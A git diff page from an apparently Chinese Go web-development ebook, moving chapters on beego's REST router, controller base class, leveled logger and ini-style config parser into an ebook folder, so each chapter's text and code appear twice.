Go监听端口然后接收到tcp连接会扔给Handler来处理上面的例子默认nil即为`http.DefaultServeMux`,通过`DefaultServeMux.ServeHTTP`函数来进行调度遍历之前存储的map路由信息和用户访问的URL进行匹配以查询对应注册的处理函数这样就实现了上面所说的第二点。
for k, v := range mux.m {
if !pathMatch(k, path) {
continue
}
if h == nil || len(k) > n {
n = len(k)
h = v.h
}
}
## beego框架路由实现
目前几乎所有的Web应用路由实现都是基于http默认的路由器但是Go自带的路由器有几个限制
- 不支持参数设定,例如/user/:uid 这种泛类型匹配
- 无法很好的支持REST模式无法限制访问的方法例如上面的例子中用户访问/foo可以用GET、POST、DELETE、HEAD等方式访问
- 一般网站的路由规则太多了编写繁琐。我前面自己开发了一个API应用路由规则有三十几条这种路由多了之后其实可以进一步简化通过struct的方法进行一种简化
beego框架的路由器基于上面的几点限制考虑设计了一种REST方式的路由实现路由设计也是基于上面Go默认设计的两点来考虑存储路由和转发路由
### 存储路由
针对前面所说的限制点我们首先要解决参数支持就需要用到正则第二和第三点我们通过一种变通的方法来解决REST的方法对应到struct的方法中去然后路由到struct而不是函数这样在转发路由的时候就可以根据method来执行不同的方法。
根据上面的思路我们设计了两个数据类型controllerInfo(保存路径和对应的struct这里是一个reflect.Type类型)和ControllerRegistor(routers是一个slice用来保存用户添加的路由信息以及beego框架的应用信息)
type controllerInfo struct {
regex *regexp.Regexp
params map[int]string
controllerType reflect.Type
}
type ControllerRegistor struct {
routers []*controllerInfo
Application *App
}
ControllerRegistor对外的接口函数有
func (p *ControllerRegistor) Add(pattern string, c ControllerInterface)
详细的实现如下所示:
func (p *ControllerRegistor) Add(pattern string, c ControllerInterface) {
parts := strings.Split(pattern, "/")
j := 0
params := make(map[int]string)
for i, part := range parts {
if strings.HasPrefix(part, ":") {
expr := "([^/]+)"
//a user may choose to override the defult expression
// similar to expressjs: /user/:id([0-9]+)
if index := strings.Index(part, "("); index != -1 {
expr = part[index:]
part = part[:index]
}
params[j] = part
parts[i] = expr
j++
}
}
//recreate the url pattern, with parameters replaced
//by regular expressions. then compile the regex
pattern = strings.Join(parts, "/")
regex, regexErr := regexp.Compile(pattern)
if regexErr != nil {
//TODO add error handling here to avoid panic
panic(regexErr)
return
}
//now create the Route
t := reflect.Indirect(reflect.ValueOf(c)).Type()
route := &controllerInfo{}
route.regex = regex
route.params = params
route.controllerType = t
p.routers = append(p.routers, route)
}
### 静态路由实现
上面我们实现的动态路由的实现Go的http包默认支持静态文件处理FileServer由于我们实现了自定义的路由器那么静态文件也需要自己设定beego的静态文件夹路径保存在全局变量StaticDir中StaticDir是一个map类型实现如下
func (app *App) SetStaticPath(url string, path string) *App {
StaticDir[url] = path
return app
}
应用中设置静态路径可以使用如下方式实现:
beego.SetStaticPath("/img","/static/img")
### 转发路由
转发路由是基于ControllerRegistor里的路由信息来进行转发的详细的实现如下代码所示
// AutoRoute
func (p *ControllerRegistor) ServeHTTP(w http.ResponseWriter, r *http.Request) {
defer func() {
if err := recover(); err != nil {
if !RecoverPanic {
// go back to panic
panic(err)
} else {
Critical("Handler crashed with error", err)
for i := 1; ; i += 1 {
_, file, line, ok := runtime.Caller(i)
if !ok {
break
}
Critical(file, line)
}
}
}
}()
var started bool
for prefix, staticDir := range StaticDir {
if strings.HasPrefix(r.URL.Path, prefix) {
file := staticDir + r.URL.Path[len(prefix):]
http.ServeFile(w, r, file)
started = true
return
}
}
requestPath := r.URL.Path
//find a matching Route
for _, route := range p.routers {
//check if Route pattern matches url
if !route.regex.MatchString(requestPath) {
continue
}
//get submatches (params)
matches := route.regex.FindStringSubmatch(requestPath)
//double check that the Route matches the URL pattern.
if len(matches[0]) != len(requestPath) {
continue
}
params := make(map[string]string)
if len(route.params) > 0 {
//add url parameters to the query param map
values := r.URL.Query()
for i, match := range matches[1:] {
values.Add(route.params[i], match)
params[route.params[i]] = match
}
//reassemble query params and add to RawQuery
r.URL.RawQuery = url.Values(values).Encode() + "&" + r.URL.RawQuery
//r.URL.RawQuery = url.Values(values).Encode()
}
//Invoke the request handler
vc := reflect.New(route.controllerType)
init := vc.MethodByName("Init")
in := make([]reflect.Value, 2)
ct := &Context{ResponseWriter: w, Request: r, Params: params}
in[0] = reflect.ValueOf(ct)
in[1] = reflect.ValueOf(route.controllerType.Name())
init.Call(in)
in = make([]reflect.Value, 0)
method := vc.MethodByName("Prepare")
method.Call(in)
if r.Method == "GET" {
method = vc.MethodByName("Get")
method.Call(in)
} else if r.Method == "POST" {
method = vc.MethodByName("Post")
method.Call(in)
} else if r.Method == "HEAD" {
method = vc.MethodByName("Head")
method.Call(in)
} else if r.Method == "DELETE" {
method = vc.MethodByName("Delete")
method.Call(in)
} else if r.Method == "PUT" {
method = vc.MethodByName("Put")
method.Call(in)
} else if r.Method == "PATCH" {
method = vc.MethodByName("Patch")
method.Call(in)
} else if r.Method == "OPTIONS" {
method = vc.MethodByName("Options")
method.Call(in)
}
if AutoRender {
method = vc.MethodByName("Render")
method.Call(in)
}
method = vc.MethodByName("Finish")
method.Call(in)
started = true
break
}
//if no matches to url, throw a not found exception
if started == false {
http.NotFound(w, r)
}
}
### 使用入门
基于这样的路由设计之后就可以解决前面所说的三个限制点,使用的方式如下所示:
基本的使用注册路由:
beego.BeeApp.RegisterController("/", &controllers.MainController{})
参数注册:
beego.BeeApp.RegisterController("/:param", &controllers.UserController{})
正则匹配:
beego.BeeApp.RegisterController("/users/:uid([0-9]+)", &controllers.UserController{})
## links
* [目录](<preface.md>)
* 上一章: [项目规划](<13.1.md>)
* 下一节: [controller设计](<13.3.md>)

326
13.3.md → ebook/13.3.md Executable file → Normal file
View File

@@ -1,163 +1,163 @@
# 13.3 controller设计
传统的MVC框架大多数是基于Action设计的后缀式映射然而现在Web流行REST风格的架构。尽管使用Filter或者rewrite能够通过URL重写实现REST风格的URL但是为什么不直接设计一个全新的REST风格的 MVC框架呢本小节就是基于这种思路来讲述如何从头设计一个基于REST风格的MVC框架中的controller最大限度地简化Web应用的开发甚至编写一行代码就可以实现“Hello, world”。
## controller作用
MVC设计模式是目前Web应用开发中最常见的架构模式通过分离 Model模型、View视图和 Controller控制器可以更容易实现易于扩展的用户界面(UI)。Model指后台返回的数据View指需要渲染的页面通常是模板页面渲染后的内容通常是HTMLController指Web开发人员编写的处理不同URL的控制器如前面小节讲述的路由就是URL请求转发到控制器的过程controller在整个的MVC框架中起到了一个核心的作用负责处理业务逻辑因此控制器是整个框架中必不可少的一部分Model和View对于有些业务需求是可以不写的例如没有数据处理的逻辑处理没有页面输出的302调整之类的就不需要Model和View但是controller这一环节是必不可少的。
## beego的REST设计
前面小节介绍了路由实现了注册struct的功能而struct中实现了REST方式因此我们需要设计一个用于逻辑处理controller的基类这里主要设计了两个类型一个struct、一个interface
type Controller struct {
Ct *Context
Tpl *template.Template
Data map[interface{}]interface{}
ChildName string
TplNames string
Layout []string
TplExt string
}
type ControllerInterface interface {
Init(ct *Context, cn string) //初始化上下文和子类名称
Prepare() //开始执行之前的一些处理
Get() //method=GET的处理
Post() //method=POST的处理
Delete() //method=DELETE的处理
Put() //method=PUT的处理
Head() //method=HEAD的处理
Patch() //method=PATCH的处理
Options() //method=OPTIONS的处理
Finish() //执行完成之后的处理
Render() error //执行完method对应的方法之后渲染页面
}
那么前面介绍的路由add函数的时候是定义了ControllerInterface类型因此只要我们实现这个接口就可以所以我们的基类Controller实现如下的方法
func (c *Controller) Init(ct *Context, cn string) {
c.Data = make(map[interface{}]interface{})
c.Layout = make([]string, 0)
c.TplNames = ""
c.ChildName = cn
c.Ct = ct
c.TplExt = "tpl"
}
func (c *Controller) Prepare() {
}
func (c *Controller) Finish() {
}
func (c *Controller) Get() {
http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
}
func (c *Controller) Post() {
http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
}
func (c *Controller) Delete() {
http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
}
func (c *Controller) Put() {
http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
}
func (c *Controller) Head() {
http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
}
func (c *Controller) Patch() {
http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
}
func (c *Controller) Options() {
http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
}
func (c *Controller) Render() error {
if len(c.Layout) > 0 {
var filenames []string
for _, file := range c.Layout {
filenames = append(filenames, path.Join(ViewsPath, file))
}
t, err := template.ParseFiles(filenames...)
if err != nil {
Trace("template ParseFiles err:", err)
}
err = t.ExecuteTemplate(c.Ct.ResponseWriter, c.TplNames, c.Data)
if err != nil {
Trace("template Execute err:", err)
}
} else {
if c.TplNames == "" {
c.TplNames = c.ChildName + "/" + c.Ct.Request.Method + "." + c.TplExt
}
t, err := template.ParseFiles(path.Join(ViewsPath, c.TplNames))
if err != nil {
Trace("template ParseFiles err:", err)
}
err = t.Execute(c.Ct.ResponseWriter, c.Data)
if err != nil {
Trace("template Execute err:", err)
}
}
return nil
}
func (c *Controller) Redirect(url string, code int) {
c.Ct.Redirect(code, url)
}
上面的controller基类已经实现了接口定义的函数通过路由根据url执行相应的controller的原则会依次执行如下
Init() 初始化
Prepare() 执行之前的初始化,每个继承的子类可以来实现该函数
method() 根据不同的method执行不同的函数GET、POST、PUT、HEAD等子类来实现这些函数如果没实现那么默认都是403
Render() 可选根据全局变量AutoRender来判断是否执行
Finish() 执行完之后执行的操作,每个继承的子类可以来实现该函数
## 应用指南
上面beego框架中完成了controller基类的设计那么我们在我们的应用中可以这样来设计我们的方法
package controllers
import (
"github.com/astaxie/beego"
)
type MainController struct {
beego.Controller
}
func (this *MainController) Get() {
this.Data["Username"] = "astaxie"
this.Data["Email"] = "astaxie@gmail.com"
this.TplNames = "index.tpl"
}
上面的方式我们实现了子类MainController实现了Get方法那么如果用户通过其他的方式(POST/HEAD等)来访问该资源都将返回403而如果是Get来访问因为我们设置了AutoRender=true那么在执行玩Get方法之后会自动执行Render函数就会显示如下界面
![](images/13.4.beego.png?raw=true)
index.tpl的代码如下所示我们可以看到数据的设置和显示都是相当的简单方便
<!DOCTYPE html>
<html>
<head>
<title>beego welcome template</title>
</head>
<body>
<h1>Hello, world!{{.Username}},{{.Email}}</h1>
</body>
</html>
## links
* [目录](<preface.md>)
* 上一章: [自定义路由器设计](<13.2.md>)
* 下一节: [日志和配置设计](<13.4.md>)
# 13.3 controller设计
传统的MVC框架大多数是基于Action设计的后缀式映射然而现在Web流行REST风格的架构。尽管使用Filter或者rewrite能够通过URL重写实现REST风格的URL但是为什么不直接设计一个全新的REST风格的 MVC框架呢本小节就是基于这种思路来讲述如何从头设计一个基于REST风格的MVC框架中的controller最大限度地简化Web应用的开发甚至编写一行代码就可以实现“Hello, world”。
## controller作用
MVC设计模式是目前Web应用开发中最常见的架构模式通过分离 Model模型、View视图和 Controller控制器可以更容易实现易于扩展的用户界面(UI)。Model指后台返回的数据View指需要渲染的页面通常是模板页面渲染后的内容通常是HTMLController指Web开发人员编写的处理不同URL的控制器如前面小节讲述的路由就是URL请求转发到控制器的过程controller在整个的MVC框架中起到了一个核心的作用负责处理业务逻辑因此控制器是整个框架中必不可少的一部分Model和View对于有些业务需求是可以不写的例如没有数据处理的逻辑处理没有页面输出的302调整之类的就不需要Model和View但是controller这一环节是必不可少的。
## beego的REST设计
前面小节介绍了路由实现了注册struct的功能而struct中实现了REST方式因此我们需要设计一个用于逻辑处理controller的基类这里主要设计了两个类型一个struct、一个interface
type Controller struct {
Ct *Context
Tpl *template.Template
Data map[interface{}]interface{}
ChildName string
TplNames string
Layout []string
TplExt string
}
type ControllerInterface interface {
Init(ct *Context, cn string) //初始化上下文和子类名称
Prepare() //开始执行之前的一些处理
Get() //method=GET的处理
Post() //method=POST的处理
Delete() //method=DELETE的处理
Put() //method=PUT的处理
Head() //method=HEAD的处理
Patch() //method=PATCH的处理
Options() //method=OPTIONS的处理
Finish() //执行完成之后的处理
Render() error //执行完method对应的方法之后渲染页面
}
那么前面介绍的路由add函数的时候是定义了ControllerInterface类型因此只要我们实现这个接口就可以所以我们的基类Controller实现如下的方法
func (c *Controller) Init(ct *Context, cn string) {
c.Data = make(map[interface{}]interface{})
c.Layout = make([]string, 0)
c.TplNames = ""
c.ChildName = cn
c.Ct = ct
c.TplExt = "tpl"
}
func (c *Controller) Prepare() {
}
func (c *Controller) Finish() {
}
func (c *Controller) Get() {
http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
}
func (c *Controller) Post() {
http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
}
func (c *Controller) Delete() {
http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
}
func (c *Controller) Put() {
http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
}
func (c *Controller) Head() {
http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
}
func (c *Controller) Patch() {
http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
}
func (c *Controller) Options() {
http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
}
func (c *Controller) Render() error {
if len(c.Layout) > 0 {
var filenames []string
for _, file := range c.Layout {
filenames = append(filenames, path.Join(ViewsPath, file))
}
t, err := template.ParseFiles(filenames...)
if err != nil {
Trace("template ParseFiles err:", err)
}
err = t.ExecuteTemplate(c.Ct.ResponseWriter, c.TplNames, c.Data)
if err != nil {
Trace("template Execute err:", err)
}
} else {
if c.TplNames == "" {
c.TplNames = c.ChildName + "/" + c.Ct.Request.Method + "." + c.TplExt
}
t, err := template.ParseFiles(path.Join(ViewsPath, c.TplNames))
if err != nil {
Trace("template ParseFiles err:", err)
}
err = t.Execute(c.Ct.ResponseWriter, c.Data)
if err != nil {
Trace("template Execute err:", err)
}
}
return nil
}
func (c *Controller) Redirect(url string, code int) {
c.Ct.Redirect(code, url)
}
上面的controller基类已经实现了接口定义的函数通过路由根据url执行相应的controller的原则会依次执行如下
Init() 初始化
Prepare() 执行之前的初始化,每个继承的子类可以来实现该函数
method() 根据不同的method执行不同的函数GET、POST、PUT、HEAD等子类来实现这些函数如果没实现那么默认都是403
Render() 可选根据全局变量AutoRender来判断是否执行
Finish() 执行完之后执行的操作,每个继承的子类可以来实现该函数
## 应用指南
上面beego框架中完成了controller基类的设计那么我们在我们的应用中可以这样来设计我们的方法
package controllers
import (
"github.com/astaxie/beego"
)
type MainController struct {
beego.Controller
}
func (this *MainController) Get() {
this.Data["Username"] = "astaxie"
this.Data["Email"] = "astaxie@gmail.com"
this.TplNames = "index.tpl"
}
上面的方式我们实现了子类MainController实现了Get方法那么如果用户通过其他的方式(POST/HEAD等)来访问该资源都将返回403而如果是Get来访问因为我们设置了AutoRender=true那么在执行玩Get方法之后会自动执行Render函数就会显示如下界面
![](images/13.4.beego.png?raw=true)
index.tpl的代码如下所示我们可以看到数据的设置和显示都是相当的简单方便
<!DOCTYPE html>
<html>
<head>
<title>beego welcome template</title>
</head>
<body>
<h1>Hello, world!{{.Username}},{{.Email}}</h1>
</body>
</html>
## links
* [目录](<preface.md>)
* 上一章: [自定义路由器设计](<13.2.md>)
* 下一节: [日志和配置设计](<13.4.md>)

494
13.4.md → ebook/13.4.md Executable file → Normal file
View File

@@ -1,248 +1,248 @@
# 13.4 日志和配置设计
## 日志和配置的重要性
前面已经介绍过日志在我们程序开发中起着很重要的作用通过日志我们可以记录调试我们的信息当初介绍过一个日志系统seelog根据不同的level输出不同的日志这个对于程序开发和程序部署来说至关重要。我们可以在程序开发中设置level低一点部署的时候把level设置高这样我们开发中的调试信息可以屏蔽掉。
配置模块对于应用部署牵涉到服务器不同的一些配置信息非常有用,例如一些数据库配置信息、监听端口、监听地址等都是可以通过配置文件来配置,这样我们的应用程序就具有很强的灵活性,可以通过配置文件的配置部署在不同的机器上,可以连接不同的数据库之类的。
## beego的日志设计
beego的日志设计部署思路来自于seelog根据不同的level来记录日志但是beego设计的日志系统比较轻量级采用了系统的log.Logger接口默认输出到os.Stdout,用户可以实现这个接口然后通过beego.SetLogger设置自定义的输出详细的实现如下所示
// Log levels to control the logging output.
const (
LevelTrace = iota
LevelDebug
LevelInfo
LevelWarning
LevelError
LevelCritical
)
// logLevel controls the global log level used by the logger.
var level = LevelTrace
// LogLevel returns the global log level and can be used in
// own implementations of the logger interface.
func Level() int {
return level
}
// SetLogLevel sets the global log level used by the simple
// logger.
func SetLevel(l int) {
level = l
}
上面这一段实现了日志系统的日志分级默认的级别是Trace用户通过SetLevel可以设置不同的分级。
// logger references the used application logger.
var BeeLogger = log.New(os.Stdout, "", log.Ldate|log.Ltime)
// SetLogger sets a new logger.
func SetLogger(l *log.Logger) {
BeeLogger = l
}
// Trace logs a message at trace level.
func Trace(v ...interface{}) {
if level <= LevelTrace {
BeeLogger.Printf("[T] %v\n", v)
}
}
// Debug logs a message at debug level.
func Debug(v ...interface{}) {
if level <= LevelDebug {
BeeLogger.Printf("[D] %v\n", v)
}
}
// Info logs a message at info level.
func Info(v ...interface{}) {
if level <= LevelInfo {
BeeLogger.Printf("[I] %v\n", v)
}
}
// Warning logs a message at warning level.
func Warn(v ...interface{}) {
if level <= LevelWarning {
BeeLogger.Printf("[W] %v\n", v)
}
}
// Error logs a message at error level.
func Error(v ...interface{}) {
if level <= LevelError {
BeeLogger.Printf("[E] %v\n", v)
}
}
// Critical logs a message at critical level.
func Critical(v ...interface{}) {
if level <= LevelCritical {
BeeLogger.Printf("[C] %v\n", v)
}
}
上面这一段代码默认初始化了一个BeeLogger对象默认输出到os.Stdout用户可以通过beego.SetLogger来设置实现了logger的接口输出。这里面实现了六个函数
- Trace一般的记录信息举例如下
- "Entered parse function validation block"
- "Validation: entered second 'if'"
- "Dictionary 'Dict' is empty. Using default value"
- Debug调试信息举例如下
- "Web page requested: http://somesite.com Params='...'"
- "Response generated. Response size: 10000. Sending."
- "New file received. Type:PNG Size:20000"
- Info打印信息举例如下
- "Web server restarted"
- "Hourly statistics: Requested pages: 12345 Errors: 123 ..."
- "Service paused. Waiting for 'resume' call"
- Warn警告信息举例如下
- "Cache corrupted for file='test.file'. Reading from back-end"
- "Database 192.168.0.7/DB not responding. Using backup 192.168.0.8/DB"
- "No response from statistics server. Statistics not sent"
- Error错误信息举例如下
- "Internal error. Cannot process request #12345 Error:...."
- "Cannot perform login: credentials DB not responding"
- Critical致命错误举例如下
- "Critical panic received: .... Shutting down"
- "Fatal error: ... App is shutting down to prevent data corruption or loss"
可以看到每个函数里面都有对level的判断所以如果我们在部署的时候设置了level=LevelWarning那么Trace、Debug、Info这三个函数都不会有任何的输出以此类推。
## beego的配置设计
配置信息的解析beego实现了一个key=value的配置文件读取类似ini配置文件的格式就是一个文件解析的过程然后把解析的数据保存到map中最后在调用的时候通过几个string、int之类的函数调用返回相应的值具体的实现请看下面
首先定义了一些ini配置文件的一些全局性常量
var (
bComment = []byte{'#'}
bEmpty = []byte{}
bEqual = []byte{'='}
bDQuote = []byte{'"'}
)
定义了配置文件的格式:
// A Config represents the configuration.
type Config struct {
filename string
comment map[int][]string // id: []{comment, key...}; id 1 is for main comment.
data map[string]string // key: value
offset map[string]int64 // key: offset; for editing.
sync.RWMutex
}
定义了解析文件的函数解析文件的过程是打开文件然后一行一行的读取解析注释、空行和key=value数据
// ParseFile creates a new Config and parses the file configuration from the
// named file.
func LoadConfig(name string) (*Config, error) {
file, err := os.Open(name)
if err != nil {
return nil, err
}
cfg := &Config{
file.Name(),
make(map[int][]string),
make(map[string]string),
make(map[string]int64),
sync.RWMutex{},
}
cfg.Lock()
defer cfg.Unlock()
defer file.Close()
var comment bytes.Buffer
buf := bufio.NewReader(file)
for nComment, off := 0, int64(1); ; {
line, _, err := buf.ReadLine()
if err == io.EOF {
break
}
if bytes.Equal(line, bEmpty) {
continue
}
off += int64(len(line))
if bytes.HasPrefix(line, bComment) {
line = bytes.TrimLeft(line, "#")
line = bytes.TrimLeftFunc(line, unicode.IsSpace)
comment.Write(line)
comment.WriteByte('\n')
continue
}
if comment.Len() != 0 {
cfg.comment[nComment] = []string{comment.String()}
comment.Reset()
nComment++
}
val := bytes.SplitN(line, bEqual, 2)
if bytes.HasPrefix(val[1], bDQuote) {
val[1] = bytes.Trim(val[1], `"`)
}
key := strings.TrimSpace(string(val[0]))
cfg.comment[nComment-1] = append(cfg.comment[nComment-1], key)
cfg.data[key] = strings.TrimSpace(string(val[1]))
cfg.offset[key] = off
}
return cfg, nil
}
下面实现了一些读取配置文件的函数返回的值确定为bool、int、float64或string
// Bool returns the boolean value for a given key.
func (c *Config) Bool(key string) (bool, error) {
return strconv.ParseBool(c.data[key])
}
// Int returns the integer value for a given key.
func (c *Config) Int(key string) (int, error) {
return strconv.Atoi(c.data[key])
}
// Float returns the float value for a given key.
func (c *Config) Float(key string) (float64, error) {
return strconv.ParseFloat(c.data[key], 64)
}
// String returns the string value for a given key.
func (c *Config) String(key string) string {
return c.data[key]
}
## 应用指南
下面这个函数是我一个应用中的例子用来获取远程url地址的json数据实现如下
func GetJson() {
resp, err := http.Get(beego.AppConfig.String("url"))
if err != nil {
beego.Critical("http get info error")
return
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
err = json.Unmarshal(body, &AllInfo)
if err != nil {
beego.Critical("error:", err)
}
}
函数中调用了框架的日志函数`beego.Critical`函数用来报错,调用了`beego.AppConfig.String("url")`用来获取配置文件中的信息,配置文件的信息如下(app.conf)
appname = hs
url ="http://www.api.com/api.html"
## links
* [目录](<preface.md>)
* 上一章: [controller设计](<13.3.md>)
# 13.4 日志和配置设计
## 日志和配置的重要性
前面已经介绍过日志在我们程序开发中起着很重要的作用通过日志我们可以记录调试我们的信息当初介绍过一个日志系统seelog根据不同的level输出不同的日志这个对于程序开发和程序部署来说至关重要。我们可以在程序开发中设置level低一点部署的时候把level设置高这样我们开发中的调试信息可以屏蔽掉。
配置模块对于应用部署牵涉到服务器不同的一些配置信息非常有用,例如一些数据库配置信息、监听端口、监听地址等都是可以通过配置文件来配置,这样我们的应用程序就具有很强的灵活性,可以通过配置文件的配置部署在不同的机器上,可以连接不同的数据库之类的。
## beego的日志设计
beego的日志设计部署思路来自于seelog根据不同的level来记录日志但是beego设计的日志系统比较轻量级采用了系统的log.Logger接口默认输出到os.Stdout,用户可以实现这个接口然后通过beego.SetLogger设置自定义的输出详细的实现如下所示
// Log levels to control the logging output.
const (
LevelTrace = iota
LevelDebug
LevelInfo
LevelWarning
LevelError
LevelCritical
)
// logLevel controls the global log level used by the logger.
var level = LevelTrace
// LogLevel returns the global log level and can be used in
// own implementations of the logger interface.
func Level() int {
return level
}
// SetLogLevel sets the global log level used by the simple
// logger.
func SetLevel(l int) {
level = l
}
上面这一段实现了日志系统的日志分级默认的级别是Trace用户通过SetLevel可以设置不同的分级。
// logger references the used application logger.
var BeeLogger = log.New(os.Stdout, "", log.Ldate|log.Ltime)
// SetLogger sets a new logger.
func SetLogger(l *log.Logger) {
BeeLogger = l
}
// Trace logs a message at trace level.
func Trace(v ...interface{}) {
if level <= LevelTrace {
BeeLogger.Printf("[T] %v\n", v)
}
}
// Debug logs a message at debug level.
func Debug(v ...interface{}) {
if level <= LevelDebug {
BeeLogger.Printf("[D] %v\n", v)
}
}
// Info logs a message at info level.
func Info(v ...interface{}) {
if level <= LevelInfo {
BeeLogger.Printf("[I] %v\n", v)
}
}
// Warning logs a message at warning level.
func Warn(v ...interface{}) {
if level <= LevelWarning {
BeeLogger.Printf("[W] %v\n", v)
}
}
// Error logs a message at error level.
func Error(v ...interface{}) {
if level <= LevelError {
BeeLogger.Printf("[E] %v\n", v)
}
}
// Critical logs a message at critical level.
func Critical(v ...interface{}) {
if level <= LevelCritical {
BeeLogger.Printf("[C] %v\n", v)
}
}
上面这一段代码默认初始化了一个BeeLogger对象默认输出到os.Stdout用户可以通过beego.SetLogger来设置实现了logger的接口输出。这里面实现了六个函数
- Trace一般的记录信息举例如下
- "Entered parse function validation block"
- "Validation: entered second 'if'"
- "Dictionary 'Dict' is empty. Using default value"
- Debug调试信息举例如下
- "Web page requested: http://somesite.com Params='...'"
- "Response generated. Response size: 10000. Sending."
- "New file received. Type:PNG Size:20000"
- Info打印信息举例如下
- "Web server restarted"
- "Hourly statistics: Requested pages: 12345 Errors: 123 ..."
- "Service paused. Waiting for 'resume' call"
- Warn警告信息举例如下
- "Cache corrupted for file='test.file'. Reading from back-end"
- "Database 192.168.0.7/DB not responding. Using backup 192.168.0.8/DB"
- "No response from statistics server. Statistics not sent"
- Error错误信息举例如下
- "Internal error. Cannot process request #12345 Error:...."
- "Cannot perform login: credentials DB not responding"
- Critical致命错误举例如下
- "Critical panic received: .... Shutting down"
- "Fatal error: ... App is shutting down to prevent data corruption or loss"
可以看到每个函数里面都有对level的判断所以如果我们在部署的时候设置了level=LevelWarning那么Trace、Debug、Info这三个函数都不会有任何的输出以此类推。
## beego的配置设计
配置信息的解析beego实现了一个key=value的配置文件读取类似ini配置文件的格式就是一个文件解析的过程然后把解析的数据保存到map中最后在调用的时候通过几个string、int之类的函数调用返回相应的值具体的实现请看下面
首先定义了一些ini配置文件的一些全局性常量
var (
bComment = []byte{'#'}
bEmpty = []byte{}
bEqual = []byte{'='}
bDQuote = []byte{'"'}
)
定义了配置文件的格式:
// A Config represents the configuration.
type Config struct {
filename string
comment map[int][]string // id: []{comment, key...}; id 1 is for main comment.
data map[string]string // key: value
offset map[string]int64 // key: offset; for editing.
sync.RWMutex
}
定义了解析文件的函数解析文件的过程是打开文件然后一行一行的读取解析注释、空行和key=value数据
// ParseFile creates a new Config and parses the file configuration from the
// named file.
func LoadConfig(name string) (*Config, error) {
file, err := os.Open(name)
if err != nil {
return nil, err
}
cfg := &Config{
file.Name(),
make(map[int][]string),
make(map[string]string),
make(map[string]int64),
sync.RWMutex{},
}
cfg.Lock()
defer cfg.Unlock()
defer file.Close()
var comment bytes.Buffer
buf := bufio.NewReader(file)
for nComment, off := 0, int64(1); ; {
line, _, err := buf.ReadLine()
if err == io.EOF {
break
}
if bytes.Equal(line, bEmpty) {
continue
}
off += int64(len(line))
if bytes.HasPrefix(line, bComment) {
line = bytes.TrimLeft(line, "#")
line = bytes.TrimLeftFunc(line, unicode.IsSpace)
comment.Write(line)
comment.WriteByte('\n')
continue
}
if comment.Len() != 0 {
cfg.comment[nComment] = []string{comment.String()}
comment.Reset()
nComment++
}
val := bytes.SplitN(line, bEqual, 2)
if bytes.HasPrefix(val[1], bDQuote) {
val[1] = bytes.Trim(val[1], `"`)
}
key := strings.TrimSpace(string(val[0]))
cfg.comment[nComment-1] = append(cfg.comment[nComment-1], key)
cfg.data[key] = strings.TrimSpace(string(val[1]))
cfg.offset[key] = off
}
return cfg, nil
}
下面实现了一些读取配置文件的函数返回的值确定为bool、int、float64或string
// Bool returns the boolean value for a given key.
func (c *Config) Bool(key string) (bool, error) {
return strconv.ParseBool(c.data[key])
}
// Int returns the integer value for a given key.
func (c *Config) Int(key string) (int, error) {
return strconv.Atoi(c.data[key])
}
// Float returns the float value for a given key.
func (c *Config) Float(key string) (float64, error) {
return strconv.ParseFloat(c.data[key], 64)
}
// String returns the string value for a given key.
func (c *Config) String(key string) string {
return c.data[key]
}
## 应用指南
下面这个函数是我一个应用中的例子用来获取远程url地址的json数据实现如下
func GetJson() {
resp, err := http.Get(beego.AppConfig.String("url"))
if err != nil {
beego.Critical("http get info error")
return
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
err = json.Unmarshal(body, &AllInfo)
if err != nil {
beego.Critical("error:", err)
}
}
函数中调用了框架的日志函数`beego.Critical`函数用来报错,调用了`beego.AppConfig.String("url")`用来获取配置文件中的信息,配置文件的信息如下(app.conf)
appname = hs
url ="http://www.api.com/api.html"
## links
* [目录](<preface.md>)
* 上一章: [controller设计](<13.3.md>)
* 下一节: [实现博客的增删改](<13.5.md>)

0
13.5.md → ebook/13.5.md Executable file → Normal file
View File

0
13.6.md → ebook/13.6.md Executable file → Normal file
View File

0
14.0.md → ebook/14.0.md Executable file → Normal file
View File

0
14.1.md → ebook/14.1.md Executable file → Normal file
View File

0
14.2.md → ebook/14.2.md Executable file → Normal file
View File

0
14.3.md → ebook/14.3.md Executable file → Normal file
View File

0
14.4.md → ebook/14.4.md Executable file → Normal file
View File

0
14.5.md → ebook/14.5.md Executable file → Normal file
View File

0
14.6.md → ebook/14.6.md Executable file → Normal file
View File

0
14.7.md → ebook/14.7.md Executable file → Normal file
View File

View File

Before

Width:  |  Height:  |  Size: 11 KiB

After

Width:  |  Height:  |  Size: 11 KiB

View File

Before

Width:  |  Height:  |  Size: 11 KiB

After

Width:  |  Height:  |  Size: 11 KiB

View File

Before

Width:  |  Height:  |  Size: 84 KiB

After

Width:  |  Height:  |  Size: 84 KiB

Some files were not shown because too many files have changed in this diff Show More